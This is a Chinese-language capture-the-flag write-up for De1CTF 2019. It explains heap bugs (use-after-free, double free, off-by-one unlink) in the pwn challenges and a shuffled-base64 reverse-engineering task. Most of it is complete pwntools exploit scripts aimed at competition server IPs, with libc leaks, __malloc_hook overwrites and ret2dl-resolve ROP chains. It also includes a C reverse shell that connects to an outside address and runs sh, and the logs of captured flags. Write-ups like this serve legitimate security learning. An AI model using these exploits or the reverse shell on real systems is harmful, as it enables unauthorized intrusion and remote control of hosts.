De1CTF2019 writeups

PWN

赛题文件:https://github.com/Ex-Origin/ctf-writeups/tree/master/de1ctf2019

Weapon

靶机环境是glibc-2.23

溢出点

unsigned __int64 sub_CBB()
{
  signed int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("input idx :");
  v1 = sub_AAE();
  if ( v1 < 0 && v1 > 9 )
  {
    printf("error");
    exit(0);
  }
  free(*((void **)&unk_202060 + 2 * v1));
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}

sub_CBB也就是delete功能中,有明显的UAF

思路

  1. double free使得heap可控
  2. 利用unsorted bin留下的脚印爆破stdout,改stdout泄露地址
  3. 劫持hook

脚本

这里说一个坑人的点,由于服务器关闭了随机化,所以这里必须要逐个地址尝试,否则爆破将一直失败。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    # os.system('gcc -g  -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './pwn'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('139.180.216.34', 8888)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x64/lib/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    define se
        set *(void **)($arg0 + 0x10)=$arg1
        end
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def create(size, index, content):
    sh.sendlineafter('choice >> \n', '1')
    sh.sendlineafter('wlecome input your size of weapon: ', str(size))
    sh.sendlineafter('input index: ', str(index))
    sh.sendafter('input your name:\n', content)

def delete(index):
    sh.sendlineafter('choice >> \n', '2')
    sh.sendlineafter('input idx :', str(index))

def rename(index, content):
    sh.sendlineafter('choice >> \n', '3')
    sh.sendlineafter('input idx: ', str(index))
    sh.sendafter('new content:\n', content)

create(0x60, 0, 'a' * 0x50 + p64(0) + p64(0x71))
create(0x60, 1, 'b' * 0x50 + p64(0) + p64(0x71))
create(0x60, 2, '\n')
create(0x60, 3, '\n')

delete(0)
delete(1)
delete(0)

create(0x60, 4, '\x60')
create(0x60, 5, '\n')
create(0x60, 6, '\n')

create(0x60, 7, p64(0) + p64(0xe1))
delete(1)

delete(0)
delete(2)
delete(0)

create(0x60, 4, '\xd0')
create(0x60, 5, '\n')
create(0x60, 6, '\n')
create(0x60, 7, p64(0) + p64(0x71))

delete(2)
create(0x28, 8, '\n')
create(0x38, 8, '\n')

rename(7, p64(0) + p64(0x71) + p16(0x25dd))

# pause()
context.log_level = 'debug'

create(0x60, 6, '\n')
create(0x60, 8, '\0' * 0x33 + p64(0x00000000fbad2887 + 0x1000) + p64(0) * 3 + '\x88')

result = sh.recvn(8)

libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

main_arena_addr = libc_addr + (libc.symbols['__malloc_hook'] + 0x10)
log.success('main_arena_addr: ' + hex(main_arena_addr))

delete(6)
rename(7, p64(0) + p64(0x71) + p64(main_arena_addr - 0x33))
create(0x60, 0, '\n')

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''

# pause()
create(0x60, 0, 'z' * 0xb + p64(libc_addr + 0xf1147) + p64(libc_addr + libc.symbols['realloc'] + 2))

sh.sendlineafter('choice >> \n', '1')
sh.sendlineafter('wlecome input your size of weapon: ', str(1))
sh.sendlineafter('input index: ', str(1))

sh.sendline('cat flag')
sh.interactive()
clear()

官方思路

官方的做法是ret2dl-solve,根据该思路我自己写出了下面的脚本,本地可以打通,但是64位程序在dl-solve就是会出错,所以我用错误流构造了一个伪shell。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    os._exit(0)

# for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
#     signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g  -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
#     os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

# context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
# execve_file = './mimic_note_32'
execve_file = './mimic_note_64'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
# sh = remote('172.17.0.2', 1000)
sh = remote('45.32.120.212', 6666)
# elf = ELF(execve_file)
# libc = ELF('./libc-2.23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x64/lib/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    set $ptr = (char *)&notes
    define pr
        x/8gx $ptr+0x40
        end

    define prr
        x/8wx $ptr
        end
        # b *0x4006E0
        b dl-runtime.c:83

    '''
    # b *0x8048470
    # b *0x4006E0
    # b dl-runtime.c:89

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def New(size):
    sh.sendafter('>> ', '1'.ljust(31, '\0'))
    sh.sendafter('size?\n', str(size).ljust(31, '\0'))

def delete(index):
    sh.sendafter('>> ', '2'.ljust(31, '\0'))
    sh.sendafter('index ?\n', str(index).ljust(31, '\0'))

def show(index):
    sh.sendafter('>> ', '3'.ljust(31, '\0'))
    sh.sendafter('index ?\n', str(index).ljust(31, '\0'))

def edit(index, content):
    sh.sendafter('>> ', '4'.ljust(31, '\0'))
    sh.sendafter('index ?\n', str(index).ljust(31, '\0'))
    sh.sendafter('content?\n', content)

def exit():
    sh.sendafter('>> ', '5'.ljust(31, '\0'))

cmd = '/bin/sh 1>&2 \0'

notes_x86 = 0x0804A060
notes_x64 = 0x6020A0

New(0xfc) # 0
New(0xfc)
New(0xfc)
New(0xfc)

New(0xf8) # 4
New(0xf8)
New(0xf8)
New(0xf8)

edit(1, (p32(0) + p32(0xf8 | 1) + p32(notes_x86 + 8 - 12) + p32(notes_x86 + 8 - 8)).ljust(0xf8, 'a') + p32(0xf8))

edit(5, (p64(0) + p64(0xf1) + p64(notes_x64 + 0x50 - 0x18) + p64(notes_x64 + 0x50 - 0x10)).ljust(0xf0, 'b') + p64(0xf0))

# unlink
delete(2)
delete(6)

# x86
rel_plt_addr_x86 = 0x080483c8
dynsym_addr_x86 = 0x080481d8
dynstr_addr_x86 = 0x080482c8

fake_elf32_sym = dynsym_addr_x86 + 0x2570
rel_offset_x86 = (fake_elf32_sym-8) - rel_plt_addr_x86
str_func_x86 = fake_elf32_sym + 0x10
r_info_x86 = (int((fake_elf32_sym - dynsym_addr_x86)/0x10) << 8) + 7 # 0x25707
log.info('r_info_x86: ' + hex(r_info_x86))
st_name_x86 = str_func_x86 - dynstr_addr_x86
# x/100hx 0x8048362+0x1e2

edit(1, p32(0) + p32(fake_elf32_sym - 8) + p16(0x400))
layout_dl_resolve_x86 = [
    p32(0x804A014), p32(r_info_x86), # Elf32_Rel 
    p32(st_name_x86), p32(0), p32(0) , p32(0x12),  # Elf32_Sym
]
edit(0, flat(layout_dl_resolve_x86) + 'system\0'.ljust(0x10, '\0') + cmd)

edit(1, p32(0) + p32(0x804ac00) + p16(0x400))
layout_x86 = [
    p32(0), #ebp
    p32(0x8048440), # _dl_runtime_resolve
    p32(rel_offset_x86),

    p32(0),
    p32(fake_elf32_sym + 0x20), # cmd
]
edit(0, flat(layout_x86))

# x64

fake_link_map_x64 = 0x602020 # puts.got

fake_link_map_layout_x64 = [
    '\0' * 0x8, p64(fake_link_map_x64 + 0x80), # 0x68
    p64(fake_link_map_x64 + 0x80), p64(0), # 0x70
    p64(5), p64(fake_link_map_x64),
    '\0' * 0x68, p64(fake_link_map_x64 + 0x80), # 0xf8
]

edit(5, p64(0) + p64(fake_link_map_x64 + 0x68) + p16(0xf8))
edit(4, p64(fake_link_map_x64 + 0x118) + p64(fake_link_map_x64 + 0x118)[:7])

edit(5, p64(0) + p64(fake_link_map_x64 + 0xf8) + p16(0xf8))
edit(4, p64(fake_link_map_x64 + 0x118) + p64(0) * 3 + p64(5) + p64(fake_link_map_x64 + 0x118)[:7])

rel_plt_addr_x64 = fake_link_map_x64 + 0x118
dynsym_addr_x64 = fake_link_map_x64 + 0x118
dynstr_addr_x64 = fake_link_map_x64 + 0x118

rel_offset_x64 = ((0x602420 - rel_plt_addr_x64)/0x18)
fake_elf64_sym = 0x602420+0x18
str_func_x64 = fake_elf64_sym + 0x18
r_info_x64 = (int((fake_elf64_sym - dynsym_addr_x64)/0x18) << 32) + 7
log.info('r_info_x64: ' + hex(r_info_x64))
st_name_x64 = str_func_x64 - dynstr_addr_x64

edit(5, p64(0) + p64(0x602420) + p16(0x400))
layout_dl_resolve_x64 = [
    p64(0x355970), p64(r_info_x64), p64(0), # Elf64_Rel 
    'aaaa', p8(0), p8(1), p16(0x12), p64(0xfffffffffffd5d00), p64(0) ,  # Elf64_Sym
]
edit(4, flat(layout_dl_resolve_x64).ljust(0x50, '\0') + cmd)

# 0x0000000000400c33 : pop rdi ; ret
pop_rdi_ret_x64 = 0x0000000000400c33
# 0x0000000000400770 : pop rbp ; ret
pop_rbp_ret_x64 = 0x0000000000400770
# 0x00000000004008b7 : leave ; ret
leave_ret_x64 = 0x00000000004008b7
# 0x0000000000400c31 : pop rsi ; pop r15 ; ret
pop_rsi_r15_ret_x64 = 0x0000000000400c31

# 0x080489fb : pop ebp ; ret
pop_ebp_ret_x86 = 0x080489fb
# 0x08048568 : leave ; ret
leave_ret_x86 = 0x08048568

puts_plt_x64 = 0x400670
read_plt_x64 = 0x4006B0

atoi_got_addr_x86 = 0x804A030
free_got_addr_x86 = 0x804A014
atoi_got_addr_x64 = 0x602058

# layout x64
edit(5, p64(0) + p64(0x602c00) + p16(0x400))
layout_x64 = [
    p64(0),

    p64(pop_rdi_ret_x64),
    p64(0),
    p64(pop_rsi_r15_ret_x64),
    p64(atoi_got_addr_x64),
    p64(0),
    p64(read_plt_x64),

    p64(pop_rdi_ret_x64),
    p64(0x400CF3),
    p64(puts_plt_x64),

    p64(0x400A64), # call menu

    p64(pop_rdi_ret_x64),
    p64(0x400CF3),
    p64(puts_plt_x64),

    p64(0x400A64), # call menu

    p64(0x400AFE), # call get_int

    p64(pop_rdi_ret_x64),
    p64(0x400C71),
    p64(puts_plt_x64),

    p64(0x400AFE), # call get_int

    ## no use ##
    p64(0x400AFE), # call get_int
    p64(0x400AFE), # call get_int
    p64(0x400AFE), # call get_int
    p64(0x400AFE), # call get_int
    p64(0x400AFE), # call get_int
    p64(0x400AFE), # call get_int
    ## no use ##

    p64(pop_rdi_ret_x64),
    p64(0x602420 + 0x50),

    p64(0x400656), # _dl_runtime_resolve
    p64(fake_link_map_x64),
    p64(rel_offset_x64),
]
edit(4, flat(layout_x64))

edit(1, p32(0) + p32(notes_x86 + 8 * 8) + p8(0xfc))
edit(0, p32(free_got_addr_x86) + p8(0xfc))
edit(5, p64(0) + p64(notes_x64 + 0x10 * 8) +p8(0xf8))
edit(4, p64(atoi_got_addr_x64 - 4) + p8(0xf8))

# 0x080489fa : pop edi ; pop ebp ; ret
# 0x0000000000400c30 : pop r14 ; pop r15 ; ret
edit(8, p32(0x080489fa) + p64(pop_rdi_ret_x64)[:7])

# pause()

sh.sendafter('>> ', (p64(pop_rbp_ret_x64) + p64(0x602c00) + p64(leave_ret_x64)).ljust(31, '\0') + p64(0x0000000000400639)) # 0x0000000000400639 : ret
sh.recvuntil('>> ')

sh.sendafter('>> ', '2'.ljust(8, '\0') + p32(0x080489f9) + p32(0) + p32(0) + p32(0x804ac00) + p32(leave_ret_x86))

sh.sendafter('index ?\n', '0\0')

sh.interactive()
clear()

A+B Judge

刚开始看的时候以为是要null截断,然后发现匹配正确后却没有回显,所以就直接system函数拿shell,然后又发现好像过滤了flag字样,最后用反向shell拿到了flag。

reverse_shell.c

#include <sys/socket.h> 
#include <netinet/in.h> 
#include <arpa/inet.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

extern int errno;

int main()
{
    int soc, remote;              
    struct sockaddr_in serv_addr; 

    serv_addr.sin_addr.s_addr = inet_addr("**.**.**.**"); 
    serv_addr.sin_port = htons(60106);                   
    serv_addr.sin_family = AF_INET;                     

    soc = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    remote = connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in));

    if (remote == -1)
    {
        puts(strerror(errno));
    }

    dup2(soc, 0); 
    dup2(soc, 1); 
    dup2(soc, 2); 

    system("sh");

    return 0;
}
// de1ctf{Br3@king_th3_J4il}

Mimic_note

靶机环境是glibc-2.23

溢出点

void __cdecl edit()
{
  int v0; // [esp+8h] [ebp-10h]

  puts("index ?");
  v0 = get_int();
  if ( v0 >= 0 && v0 <= 15 && notes[v0].malloc_ptr )
  {
    puts("content?");
    *(_BYTE *)(notes[v0].malloc_ptr + read(0, (void *)notes[v0].malloc_ptr, notes[v0].size)) = 0;
  }
  else
  {
    puts("invalid index");
  }
}

editoff by one

思路

原本打算用dl_resolve来做的,却发现靶机没有关闭错误流,而且错误流可以直接回显,所以直接爆破32位程序的system函数执行cat flag 1>&2,只要重定向到错误流就能回显。

脚本

受随机化影响,概率是1/512

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    # os.system('gcc -g  -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

# context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'error'
execve_file = './mimic_note_32'
# execve_file = './mimic_note_64'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
# sh = remote('172.17.0.2', 1000)
sh = remote('45.32.120.212', 6666)
# elf = ELF(execve_file)
# libc = ELF('./libc-2.23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x64/lib/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    set $ptr = (char *)&notes
    define pr
        x/8gx $ptr+0x40
        end

    define prr
        x/8wx $ptr
        end

    b *0x8048470
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def New(size):
    sh.sendafter('>> ', '1'.ljust(31, '\0'))
    sh.sendafter('size?\n', str(size).ljust(31, '\0'))

def delete(index):
    sh.sendafter('>> ', '2'.ljust(31, '\0'))
    sh.sendafter('index ?\n', str(index).ljust(31, '\0'))

def show(index):
    sh.sendafter('>> ', '3'.ljust(31, '\0'))
    sh.sendafter('index ?\n', str(index).ljust(31, '\0'))

def edit(index, content):
    sh.sendafter('>> ', '4'.ljust(31, '\0'))
    sh.sendafter('index ?\n', str(index).ljust(31, '\0'))
    sh.sendafter('content?\n', content)

def exit():
    sh.sendafter('>> ', '5'.ljust(31, '\0'))

notes_x86 = 0x0804A060
notes_x64 = 0x6020A0

New(0xfc) # 0
New(0xfc)
New(0xfc)
New(0xfc)
New(0xfc)

libc_start = [
0xf7e37637,
0xf7d4c637,
0xf7e35637,
0xf7e22637,
0xf7ddb637,
0xf7d55637,
0xf7e31637,
0xf7d7a637,
0xf7e1e637,
0xf7da7637,
0xf7d90637,
0xf7e0f637,
0xf7e16637,
0xf7d39637,
0xf7e1a637,
0xf7e29637,
0xf7e0f637,
0xf7def637,
0xf7d40637,
0xf7db1637]

free_addr = random.choice(libc_start) + 0x58119

system_addr = free_addr - 0x35e10

# New(0xf8) # 4
# New(0xf8)
# New(0xf8)
# New(0xf8)

edit(1, (p32(0) + p32(0xf8 | 1) + p32(notes_x86 + 8 - 12) + p32(notes_x86 + 8 - 8)).ljust(0xf8, 'a') + p32(0xf8))

# edit(5, (p64(0) + p64(0xf1) + p64(notes_x64 + 0x50 - 0x18) + p64(notes_x64 + 0x50 - 0x10)).ljust(0xf0, 'b') + p64(0xf0))

# unlink
delete(2)
# delete(6)

str_addr = 0x804b000 - 0x10

# edit(1, p32(0) + p32(str_addr) + p8(0xfc))

edit(3, p32(free_addr) + '\0')
edit(1, p32(0) + p32(0x804A018) + p32(0xfc) + p32(notes_x86 + 8 * 8) + p32(0xfc) + p32(0) * 2 + p32(0x804A014) + p8(0xfc)) # null
edit(0, '\0')

context.log_level = 'debug'

show(3)
edit(3, p32(system_addr))
edit(4, 'cat flag 1>&2 && pwd 1>&2 && ls -l 1>&2 \0')

delete(4)

sh.interactive()
clear()

运行实例:

[*] Switching to interactive mode
[DEBUG] Received 0x22 bytes:
    'de1ctf{M1Mlc_h3ap_1s_expl0itaBle}\n'
de1ctf{M1Mlc_h3ap_1s_expl0itaBle}
[DEBUG] Received 0x221 bytes:
    '/\n'
    'what are you trying to do?\n'
    'total 72\n'
    'drwxr-x--- 1 0 1000  4096 Aug  4 04:52 bin\n'
    'drwxr-x--- 1 0 1000  4096 Aug  4 04:52 dev\n'
    '-rwxr----- 1 0 1000    34 Aug  4 04:57 flag\n'
    'drwxr-x--- 1 0 1000  4096 Aug  4 04:51 lib\n'
    'drwxr-x--- 1 0 1000  4096 Aug  4 04:51 lib32\n'
    'drwxr-x--- 1 0 1000  4096 Aug  4 04:51 lib64\n'
    'drwxr-x--- 1 0 1000  4096 Aug  4 04:51 libx32\n'
    '-rwxr-xr-x 1 0    0 13808 Aug  4 11:58 mimic\n'
    '-rw-r--r-- 1 0    0  3268 Aug  4 11:58 mimic.c\n'
    '-rwxr-x--- 1 0 1000  7888 Aug  4 04:52 mimic_note_32\n'
    '-rwxr-x--- 1 0 1000 13432 Aug  4 04:52 mimic_note_64\n'
/
what are you trying to do?
total 72
drwxr-x--- 1 0 1000  4096 Aug  4 04:52 bin
drwxr-x--- 1 0 1000  4096 Aug  4 04:52 dev
-rwxr----- 1 0 1000    34 Aug  4 04:57 flag
drwxr-x--- 1 0 1000  4096 Aug  4 04:51 lib
drwxr-x--- 1 0 1000  4096 Aug  4 04:51 lib32
drwxr-x--- 1 0 1000  4096 Aug  4 04:51 lib64
drwxr-x--- 1 0 1000  4096 Aug  4 04:51 libx32
-rwxr-xr-x 1 0    0 13808 Aug  4 11:58 mimic
-rw-r--r-- 1 0    0  3268 Aug  4 11:58 mimic.c
-rwxr-x--- 1 0 1000  7888 Aug  4 04:52 mimic_note_32
-rwxr-x--- 1 0 1000 13432 Aug  4 04:52 mimic_note_64
[*] Got EOF while reading in interactive

RE

Re_Sign

程序就是将base64的字母表进行了打乱了,只要还原当前程序的base64字符表,在根据动态调试的内容就行解密,就能出flag。

#!/usr/bin/python
# -*- coding:utf-8 -*-

import re

s = '''
   00000008    0000003B    00000001    00000020
   00000007    00000034    00000009    0000001F
   00000018    00000024    00000013    00000003
   00000010    00000038    00000009    0000001B
   00000008    00000034    00000013    00000002
   00000008    00000022    00000012    00000003
   00000005    00000006    00000012    00000003
   0000000F    00000022    00000012    00000017
   00000008    00000001    00000029    00000022
   00000006    00000024    00000032    00000024
   0000000F    0000001F    0000002B    00000024
   00000003    00000015    00000041    00000041

'''

def indexOf(str, ch):
    i = 0
    for v in str:
        if (v == ch):
            return i
        i+=1

l = re.findall('[\dA-F]+', s)
l = [int(v, 16) for v in l]

d  = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
d2 = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm+/='

o = ''

for v in l:
    o += d[v - 1]

print(o)

o2 = ''

for v in o:
    o2 += d[indexOf(d2, v)]

print(o2)

说点什么

avatar
  Subscribe  
提醒